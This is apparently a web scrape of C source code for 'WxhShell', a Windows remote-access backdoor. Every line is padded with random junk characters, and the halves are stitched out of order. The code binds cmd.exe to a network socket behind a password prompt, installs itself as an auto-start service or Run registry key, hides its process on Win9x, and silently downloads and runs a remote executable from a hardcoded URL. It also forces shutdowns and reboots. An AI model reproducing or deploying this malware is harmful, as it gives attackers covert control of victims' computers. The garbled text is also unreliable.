    break; B;64(Vsa8  
    } 0<[g7BbR  
  // 关机 2rGg  
  case 'd': { 4k_y;$4WN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [gaB}aLn  
    if(Boot(SHUTDOWN)) j&-<e7O=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )NLjv=ql  
    else { P. Kfoos  
    closesocket(wsh); Oh=E!  
    ExitThread(0); *<ILSZ  
    } 230ijq3Y G  
    break; i'YM9*yN  
    } 6s.>5}M!  
  // 获取shell 7`J= PG$A  
  case 's': { !sVW0JSh  
    CmdShell(wsh); nPR*mbW  
    closesocket(wsh); itmFZZh  
    ExitThread(0); wiP )"g.t  
    break; "'3QKeM1  
  } ' e:rL.  
  // 退出 $!goM~pZ  
  case 'x': { !d Z:Ih.[{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [R0E4A?M  
    CloseIt(wsh); <4:%M  
    break; q[TGEgG  
    } D KRF#*[=d  
  // 离开 i%GNm D  
  case 'q': { yPoa04!{=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e_+SBN1`P&  
    closesocket(wsh); ' OXL'_Xl  
    WSACleanup(); sl_f+h0  
    exit(1); OrY^?E  
    break; %CV.xDE8  
        } K''2Jfm  
  }  yJGnN g  
  } duV\Kt/g^  
4?33t] "  
  // 提示信息 HSj=g}r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DQ.;2W  
} cT|aQM@iW  
  } :>-&  
7-Mm+4O9  
  return; KY+BXGW*  
} h4E[\<?  
a}g <<{  
// shell模块句柄 24I\smO  
int CmdShell(SOCKET sock) Utj4f-M  
{ O`f[9^fN  
STARTUPINFO si; 5 \iX%w@  
ZeroMemory(&si,sizeof(si)); T9?8@p\}(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !BDJU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LMRq.wxbbB  
PROCESS_INFORMATION ProcessInfo; J-ErG!  
char cmdline[]="cmd"; `u" )*Q}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B-oQjr-  
  return 0; 3Ct)5J  
} 06NW2A%wv  
aL|a2+P[`q  
// 自身启动模式 D+xPd<  
int StartFromService(void) 2gJkpf9JN  
{ (mgv:<c;BA  
typedef struct QV>hQ]L  
{ XP(fWRT1  
  DWORD ExitStatus; \:jJ{bl^A  
  DWORD PebBaseAddress; bL2b^UB~%  
  DWORD AffinityMask; ! i8'gq'q  
  DWORD BasePriority; <O3,b:vw  
  ULONG UniqueProcessId; WesEZ\V  
  ULONG InheritedFromUniqueProcessId; AGV+Y 6  
}   PROCESS_BASIC_INFORMATION; BnU3oP  
LAH.PcjPa  
PROCNTQSIP NtQueryInformationProcess; 9'0v]ar  
!'(QF9%Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c,Yd#nokC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jm0v=m7  
@a}\]REn  
  HANDLE             hProcess; ;<H\{w@D  
  PROCESS_BASIC_INFORMATION pbi; ki ?ETC  
9+!"[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u}|+p+  
  if(NULL == hInst ) return 0; {-l:F2i  
3M"eAK([  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &Fh#otH_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C zxF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "H|hN  
;:aCZ8e  
  if (!NtQueryInformationProcess) return 0; Su]p6B  
|W*i'E   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xeW}`i5_w  
  if(!hProcess) return 0; evlz R/  
uF\ ;m.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XXy &1C  
m^KK #Hw/`  
  CloseHandle(hProcess); 2`pg0ciX (  
 h@+(VQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &d=ZCaP  
if(hProcess==NULL) return 0; O~c\+~5M*  
o{OY1 ;=6  
HMODULE hMod; "$U!1  
char procName[255]; "bA8NQIP  
unsigned long cbNeeded; 9uW\~DwsZ%  
mI,!8#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /{!?e<N>  
0[R7HX-@  
  CloseHandle(hProcess); w0,rFWS  
~ekV*,R"  
if(strstr(procName,"services")) return 1; // 以服务启动 e VRjU  
Jj7he(!_1  
  return 0; // 注册表启动 Rz"gPU4;`  
} .Lp\Jyegs  
*eAzk2  
// 主模块 .$-GGvN]  
int StartWxhshell(LPSTR lpCmdLine) C/YjMYwKgv  
{ :y^%I xs{1  
  SOCKET wsl; ?dY|,_O  
BOOL val=TRUE; -GT&46hX  
  int port=0; ;` ! j~  
  struct sockaddr_in door; ?y2v?h"  
1{?5/F \ +  
  if(wscfg.ws_autoins) Install(); +J7xAyv_Oz  
%ql2 XAY  
port=atoi(lpCmdLine); Pvz\zRq  
Y(C-o[-N  
if(port<=0) port=wscfg.ws_port; V?N8 ,)j  
t&H3yV  
  WSADATA data; -$o4WSd~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5?-@}PL!Y  
JQH>{OB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1(jDBP!8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %<@x(q  
  door.sin_family = AF_INET; T*qSk!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %Mr^~7nN  
  door.sin_port = htons(port); !@9G9<NK  
,Kwtp)EX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 15CKcM6  
closesocket(wsl); L]{1@~E:q  
return 1; M`tNYs]V  
} NH;.!x q:  
rf YFS96  
  if(listen(wsl,2) == INVALID_SOCKET) { &nfGRb  
closesocket(wsl); L[O.]2  
return 1; -HUlB|Q8r  
} +K7oyZg  
  Wxhshell(wsl); v_I)eac z  
  WSACleanup(); /s "Lsbe  
tlcNGPa  
return 0; 5'S~PQka*  
?VR:e7|tU  
} 4x2,X`pe3  
P:fcbfH+  
// 以NT服务方式启动 E @7);i5K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x#}{z1op9  
{ 1[4 0\sM  
DWORD   status = 0; PEPf=sm  
  DWORD   specificError = 0xfffffff; v-!^a_3Ui  
Og<nnq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A_2oQ*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L<Q>:U.@\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )GR4U8<>g  
  serviceStatus.dwWin32ExitCode     = 0; TcOmBKps'  
  serviceStatus.dwServiceSpecificExitCode = 0; @y(<4kLz  
  serviceStatus.dwCheckPoint       = 0; CC,CKb  
  serviceStatus.dwWaitHint       = 0; eKW^\  
"RLv{D<)J,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $n* wS,  
  if (hServiceStatusHandle==0) return; cCO2w2A[*  
;Miag'7  
status = GetLastError(); !M;><b}=5  
  if (status!=NO_ERROR) >wf.C%  
{ Uq^-km#a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VQ^}f/A  
    serviceStatus.dwCheckPoint       = 0; >Qx :l#B  
    serviceStatus.dwWaitHint       = 0; !30BR|K*  
    serviceStatus.dwWin32ExitCode     = status; T[ltOQw?Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; PAS0 D #  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u_jhmKr~  
    return; .A apO}{  
  } [(m+Ejzi%  
][1 iKT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #b94S?dq  
  serviceStatus.dwCheckPoint       = 0; zy'cf5k2  
  serviceStatus.dwWaitHint       = 0; JXq l=/%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >$G'=N:=X&  
} B3'-:  
xL$7bw5fY  
// 处理NT服务事件,比如:启动、停止 Z \>mAtm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?<STl-]&  
{ 3NSX(gC%  
switch(fdwControl) Z~v-@  
{ XU|>SOR@z  
case SERVICE_CONTROL_STOP: ~TYpq;rq  
  serviceStatus.dwWin32ExitCode = 0; PgdHH:v)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0$=w8tP)  
  serviceStatus.dwCheckPoint   = 0; 4~~G i`XE  
  serviceStatus.dwWaitHint     = 0; 1Uk Gjw1J  
  { D|D) 782  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >b2wFo/em  
  } l$ufW|  
  return; Qm>2,={h  
case SERVICE_CONTROL_PAUSE: ,*CPG$L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <5o oML]nP  
  break; .> 5[;  
case SERVICE_CONTROL_CONTINUE: GBYwS{4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ):7mK03J  
  break; 'q\[aKEX=  
case SERVICE_CONTROL_INTERROGATE: J=6( 4>  
  break; KZGy&u >`  
}; rmJ`^6V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NM+ (ss'  
} >>%E?'9A  
3gs!ojG  
// 标准应用程序主函数 `Jn2(+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y&6 pc   
{ $[V-M\q  
s2"<<P[q'  
// 获取操作系统版本 HpIW H*  
OsIsNt=GetOsVer(); =fK6P6'B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yR1v3D4E  
d-`z1'  
  // 从命令行安装 <lTLz$QE  
  if(strpbrk(lpCmdLine,"iI")) Install(); #Q@~ TW  
7mA:~-.u  
  // 下载执行文件 r<5i  
if(wscfg.ws_downexe) { Y|cj&<o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mb=j'H<N@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 47!k!cHa  
} uU/'oZ?  
E7  P'}  
if(!OsIsNt) { d~#:t~ $,  
// 如果时win9x,隐藏进程并且设置为注册表启动 J*4T| #0  
HideProc(); A,4Z{f83  
StartWxhshell(lpCmdLine); -+y3~^EYm,  
} 2 2@w:  
else AmB*4p5b  
  if(StartFromService()) WSbD."p<  
  // 以服务方式启动 [oOV@GE  
  StartServiceCtrlDispatcher(DispatchTable); a/xnf<(H  
else }U@(S>,%  
  // 普通方式启动 9k;%R5(  
  StartWxhshell(lpCmdLine); <-"[9 w  
w+gPU1|(r  
return 0; KJ cuZ."wX  
} FD/=uIXH2  
@  \*Zq  
IlZ$Jd  
!md1~g$rN  
=========================================== 6 #k mV  
<&l@ ):a  
Y_/w}HB  
uZa)N-=b2  
v9"03 =h  
+LF`ZXe8l  
" @T%8EiV  
B-h@\y  
#include <stdio.h> B^Hh rz!  
#include <string.h> B/I1<%Yk  
#include <windows.h> RG:_:%@%}  
#include <winsock2.h> #6@4c5{2=4  
#include <winsvc.h> \G2PK&)F  
#include <urlmon.h> K"8!  
> 1=].  
#pragma comment (lib, "Ws2_32.lib") t'[`"pp=  
#pragma comment (lib, "urlmon.lib") ~z'Y(qG  
H` h]y  
#define MAX_USER   100 // 最大客户端连接数 h/]));p  
#define BUF_SOCK   200 // sock buffer dg#w!etB  
#define KEY_BUFF   255 // 输入 buffer S3^(L   
|LirjC4  
#define REBOOT     0   // 重启 <=%=,Yk  
#define SHUTDOWN   1   // 关机  ?%*p!m  
:kvQ3E0  
#define DEF_PORT   5000 // 监听端口 (w`j?c1  
pYh\l.@qf  
#define REG_LEN     16   // 注册表键长度 yM*_"z!L  
#define SVC_LEN     80   // NT服务名长度 Rbcu5.6  
H@'u$qr$:  
// 从dll定义API ~:99 )AOM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O@a7MzJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O+t'E9Fa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {Rq5=/b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G%>M@nYUE  
|xrnLdng0R  
// wxhshell配置信息 \lF-]vz*  
struct WSCFG { Bw>)gSB5$k  
  int ws_port;         // 监听端口 /L=Y8tDt  
  char ws_passstr[REG_LEN]; // 口令 as"@E>a  
  int ws_autoins;       // 安装标记, 1=yes 0=no @b{$s  
  char ws_regname[REG_LEN]; // 注册表键名 wZt2%+$6m  
  char ws_svcname[REG_LEN]; // 服务名 \hP.Q;"MtO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2FQTu*p&B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {T3~js   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7GRPPh<4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a}[rk*QmZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M/kBAxNIC|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iUlSRfrC$#  
q^6l`JJ  
}; 8|tnhA]~  
uP.dCs9-  
// default Wxhshell configuration T=':$(t  
struct WSCFG wscfg={DEF_PORT, gw<u dhk  
    "xuhuanlingzhe", P>'29$1'  
    1, lQpl8>  
    "Wxhshell", D&1(qi=x&  
    "Wxhshell", ]xPy-j6C  
            "WxhShell Service", !ezy  v`  
    "Wrsky Windows CmdShell Service", Ks-$([_F   
    "Please Input Your Password: ", zGa V^X  
  1, ,,;vG6^a  
  "http://www.wrsky.com/wxhshell.exe",  NG?g(  
  "Wxhshell.exe" T>w;M?`9K  
    }; 8Yf=)  
cC9haxW  
// 消息定义模块 EPU3Jban  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [0lO0ik>G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .:=5|0m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rN'}IS@5  
char *msg_ws_ext="\n\rExit."; \{= {{O  
char *msg_ws_end="\n\rQuit."; w{ P l  
char *msg_ws_boot="\n\rReboot..."; av~kF  
char *msg_ws_poff="\n\rShutdown..."; FY pspv?4  
char *msg_ws_down="\n\rSave to "; V^_U=Ed@M  
#lF 2q w  
char *msg_ws_err="\n\rErr!"; WTu!/J<\  
char *msg_ws_ok="\n\rOK!"; dte-2?%~j  
,,G'Zur7  
char ExeFile[MAX_PATH]; s3=sl WY=  
int nUser = 0; czH# ~  
HANDLE handles[MAX_USER]; _z>%h>L|g  
int OsIsNt; )gV @6w  
?L6wky{  
SERVICE_STATUS       serviceStatus; u56F;y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1i;Cw/mr  
p tlag&Z  
// 函数声明 )1f.=QZN^;  
int Install(void); AsR}qqG  
int Uninstall(void); Wz;@Rl|F  
int DownloadFile(char *sURL, SOCKET wsh); y 7z)lBy\  
int Boot(int flag); %`lLX/4~  
void HideProc(void); >]kZ2gVt  
int GetOsVer(void); (V0KmNCW`  
int Wxhshell(SOCKET wsl); t:n$9WB)  
void TalkWithClient(void *cs); ,fvhP $n  
int CmdShell(SOCKET sock); DuIgFp  
int StartFromService(void); 1^2]~R9,9  
int StartWxhshell(LPSTR lpCmdLine); oz7=1;r  
Qjmo{'d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z pg512\y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {FR+a**  
9Dd`x7$ a  
// 数据结构和表定义 g|M>C:ZT  
SERVICE_TABLE_ENTRY DispatchTable[] = q s iV  
{ Z9i~>k  
{wscfg.ws_svcname, NTServiceMain}, e^v\K[  
{NULL, NULL} #JR$RH  
}; `bWc<4T  
@{ L|&Mk!  
// 自我安装 r|y\FL  
int Install(void) n<ecVFft  
{ E5\>mf ,;u  
  char svExeFile[MAX_PATH]; L;fz7?_j  
  HKEY key; =)J )xH!N  
  strcpy(svExeFile,ExeFile); (/7cXd@\6  
?(M]'ia{  
// 如果是win9x系统,修改注册表设为自启动 G> s qfYkK  
if(!OsIsNt) { mteQRgC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {"O-/* f+(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \mqrDaB  
  RegCloseKey(key); NRI[|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eh, _g.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;rl61d}NH#  
  RegCloseKey(key); 3&R1C>JS ]  
  return 0; fONycXM]  
    } ?gCP"~  
  } v)nBp\fjxp  
} %&eBkN!T  
else { B[5<&  
Gz2\&rmN  
// 如果是NT以上系统,安装为系统服务 QV -ZP'e^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m?=J;r"Re  
if (schSCManager!=0) P` y.3aK  
{ {x~r$")c?  
  SC_HANDLE schService = CreateService "ZuA._  
  ( \"d\b><R  
  schSCManager, uCgJ F@  
  wscfg.ws_svcname, be [E^%  
  wscfg.ws_svcdisp, i]& >+R<6  
  SERVICE_ALL_ACCESS, @*WrHoa2N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <2wC)l3j*  
  SERVICE_AUTO_START, f DPLB[  
  SERVICE_ERROR_NORMAL, .f|)od[  
  svExeFile, DHuUEv<  
  NULL, h]}DMVV]  
  NULL, tUGF8?& G  
  NULL, ()Q q7/  
  NULL, M$} AJS%8  
  NULL mqDI'~T9 u  
  ); Yw\lNhoPS  
  if (schService!=0) rpEN\S%7P  
  { E9]*!^=/  
  CloseServiceHandle(schService); [buLo*C4:  
  CloseServiceHandle(schSCManager); `2y?(BJp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~6{U^3  
  strcat(svExeFile,wscfg.ws_svcname); gCbS$Pw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sIRfC< /P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o'? WWJK6w  
  RegCloseKey(key); )ib$*dmUP  
  return 0; QFFFxaeJg  
    } ^ZFK:|Ju  
  } f,Am;:\ |  
  CloseServiceHandle(schSCManager); s<5PsR  
} HT6$|j  
} p9&gKIO_m  
[@@EE> y  
return 1; <Vh }d/  
} yoM^6o^,D  
+mYK  
// 自我卸载 T-x}o  
int Uninstall(void) Kp19dp}'b  
{ 3il$V78|  
  HKEY key; FJFO0Hb6  
bd2QQ1[1vh  
if(!OsIsNt) { !Oi':OQG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2rHQ7  
  RegDeleteValue(key,wscfg.ws_regname);  p+-IvU  
  RegCloseKey(key); Nl^u A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o* e'D7  
  RegDeleteValue(key,wscfg.ws_regname); DH)E9HL  
  RegCloseKey(key); (4/W)L$  
  return 0; s%G%s,d  
  } &d]@$4u$;  
} V?~!Dp  
} NTVaz.  
else { GE=PaYz  
,lVQ-qw5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FJB B@<>:  
if (schSCManager!=0) csV3mzP  
{ -8v:eyc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {: =]J4]  
  if (schService!=0) H;#C NB<e  
  { /h@3R[k  
  if(DeleteService(schService)!=0) { 5yjG\ ~  
  CloseServiceHandle(schService); w"L]?#  
  CloseServiceHandle(schSCManager); U#{(*)qr  
  return 0; WwUHHm<v  
  } u1>WG?/`  
  CloseServiceHandle(schService); b&'YW*W  
  } #q5tG\gnM  
  CloseServiceHandle(schSCManager); )"_&CYnd  
} fr}.#~{5Y  
} o ^ 08<  
t+M'05-U2  
return 1; ; O ~%y'  
} QY*F(S,\  
M^G9t*I  
// 从指定url下载文件 9U3.=J  
int DownloadFile(char *sURL, SOCKET wsh) <@c@`K  
{ )5u#'5I>  
  HRESULT hr; Iu^I?c[  
char seps[]= "/"; |W}D_2  
char *token; 0 c ]]  
char *file;   `#l1  
char myURL[MAX_PATH]; cv. j  
char myFILE[MAX_PATH]; m%c]+Our`  
5x!rT&!G  
strcpy(myURL,sURL); ): fu]s"  
  token=strtok(myURL,seps); -J0I2D  
  while(token!=NULL) S|?P#.=GX  
  { g'2}Y5m$`  
    file=token; @.,'A[D!K  
  token=strtok(NULL,seps); +wZ|g6vMct  
  } gUYTVp Vf  
a%`L+b5-$  
GetCurrentDirectory(MAX_PATH,myFILE); @9l$j Z~x  
strcat(myFILE, "\\"); \Qq YH^M  
strcat(myFILE, file); X]dN1/_  
  send(wsh,myFILE,strlen(myFILE),0); EAE#AB-A  
send(wsh,"...",3,0); yoz-BS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xm tD0U1  
  if(hr==S_OK) L]l?_#*x  
return 0; s.a@uR^  
else s+^1\  
return 1; /JIVp_-p  
1B$8<NCQ=?  
} mRN[l j  
tg<bVA)E'J  
// 系统电源模块 \\C!{}+  
int Boot(int flag) U*XdFH}vV  
{ |W*2L] &  
  HANDLE hToken; AdbTI#eY  
  TOKEN_PRIVILEGES tkp; SJE!14|e  
iH>b"H >  
  if(OsIsNt) { UJjtDV3@_g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JURg=r]LI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iF_u/#  
    tkp.PrivilegeCount = 1; Y oZd,} i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C~PP}|<~V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O9RnS\  
if(flag==REBOOT) { ry+|gCZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _>^Y0C[?5  
  return 0; BM5)SgK  
} ~+PKWs'}F  
else { oG-Eac,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pp2 Jy{\d  
  return 0; rddn"~lm1  
} v!=e]w6{  
  } Z1p%6f`  
  else { 5!jt^i]O  
if(flag==REBOOT) { D0L s~qr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ga` 8oY+~  
  return 0; bPMf='F{r  
} gx2v(1?S  
else { D'Uc?2X,&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SCjVzvG$yg  
  return 0; 2o 7o~r  
} 2#8PM-3"  
} T0cm+|S  
D\E"v,Y\+O  
return 1; !:~C/B{  
} QaXdO=3  
[=:4^S|M  
// win9x进程隐藏模块 N9vNSmm  
void HideProc(void) I/gfsyfA  
{ 7 ,Q7`}gBf  
,t|_Nc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w1 A-_  
  if ( hKernel != NULL ) slLTZ]  
  { xscR Bx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I]~s{I(EK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |1Nz8Vr.  
    FreeLibrary(hKernel); ^5+7D1>W%  
  } iphdJZ/f  
%v^qQWy=*  
return; V1A7hRjxvG  
} yKmHTjX=  
3Q,p,  
// 获取操作系统版本 "*KOU2}C  
int GetOsVer(void) kn WI7  
{ i6i;{\tc  
  OSVERSIONINFO winfo; F |_mCwA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v'Up& /(  
  GetVersionEx(&winfo); Z7Nhb{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <!X]$kvG  
  return 1; V3axwg_  
  else @Q:?,  
  return 0; #Zn+-Ih  
} Rb <{o8  
, _xJ9_  
// 客户端句柄模块 T<RWz  
int Wxhshell(SOCKET wsl) Iapzhy2l  
{ $<f+CtD4  
  SOCKET wsh; ePxf.U  
  struct sockaddr_in client; Ge24Lp;Y 6  
  DWORD myID; o/!a7>xO4  
W\e!rq  
  while(nUser<MAX_USER) Nt[&rO3s  
{ 0IsnG?"  
  int nSize=sizeof(client); 54 f?YR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /|<0,ozoJ  
  if(wsh==INVALID_SOCKET) return 1; @2\UjEo~  
jQ(%LYX$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Vou G{  
if(handles[nUser]==0) x/ P\qI  
  closesocket(wsh); Fd._D"  
else {[+Q\<  
  nUser++; sB01 QVx47  
  } QFhQfn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e XmYw^n  
^{g+HFTA@  
  return 0; |^GN<y^cn  
} |mz0 ]  
/jOug>s  
// 关闭 socket =[Tf9u QY  
void CloseIt(SOCKET wsh) uJ,I6P~9  
{ WW~QK2o-@  
closesocket(wsh); b~K-mjJI  
nUser--; ET3+07  
ExitThread(0); KpO%)M!/Z#  
} mPi{:  
eBW]hwhKzM  
// 客户端请求句柄 d UiS0Qs}  
void TalkWithClient(void *cs) fy!,cK};  
{ ^ X<ytOd5  
3N{ ZX{}  
  SOCKET wsh=(SOCKET)cs; ;giT[KK  
  char pwd[SVC_LEN]; |U="B4  
  char cmd[KEY_BUFF]; td2bL4  
char chr[1]; q -^Z=,<  
int i,j; }5"19 Go?  
T9gQq 7(l  
  while (nUser < MAX_USER) { s06R~P4  
yMf["AvG  
if(wscfg.ws_passstr) { iHyA;'!Os  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qV@Hu/;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4$v08z Z  
  //ZeroMemory(pwd,KEY_BUFF); 55`cNZ  
      i=0; }@g#S@o  
  while(i<SVC_LEN) { .PJ_1  
':,p6  
  // 设置超时 ivi&;  
  fd_set FdRead; DVRbTz3V  
  struct timeval TimeOut; 7me1 :}4  
  FD_ZERO(&FdRead); hC2Ra "te)  
  FD_SET(wsh,&FdRead); =+wkjTO  
  TimeOut.tv_sec=8; _NM=9cWd  
  TimeOut.tv_usec=0; s ,GGO3^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =7U 8`]WA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ZE"o`=7  
:*lB86Ly  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Cf< #'x_  
  pwd=chr[0]; MbC&u:@ "v  
  if(chr[0]==0xd || chr[0]==0xa) { {7o|*M  
  pwd=0; c::Vh  
  break; ekuRGG  
  } ` _]tN  
  i++; g ??@~\Ov  
    } p:^;A/D  
%g%#=a;]q  
  // 如果是非法用户,关闭 socket 9=;ETLL "  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jo=,j/,l  
} {2%@I~US  
_{'HY+M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !8>tT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F!yejn [  
?gOZY\[ma  
while(1) { .e%B'  
U}<;4Px]7v  
  ZeroMemory(cmd,KEY_BUFF); $`/J V?Z  
2qUC@d<K  
      // 自动支持客户端 telnet标准   >=Un=Q%  
  j=0; g\ p;  
  while(j<KEY_BUFF) { eVbaxL!Q^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X2p9KC  
  cmd[j]=chr[0]; tr\}lfK%  
  if(chr[0]==0xa || chr[0]==0xd) { l=< :  
  cmd[j]=0; > 9wEx[  
  break; fdTyY ;  
  } t5pf4M7  
  j++; cLe659&  
    } kVe_2oQ_>  
uia-w^F e  
  // 下载文件 &/A?*2  
  if(strstr(cmd,"http://")) { n,NKJt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O WVa&8O  
  if(DownloadFile(cmd,wsh)) c~+l|r=u?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^+ +ec>  
  else j*jO809%^  
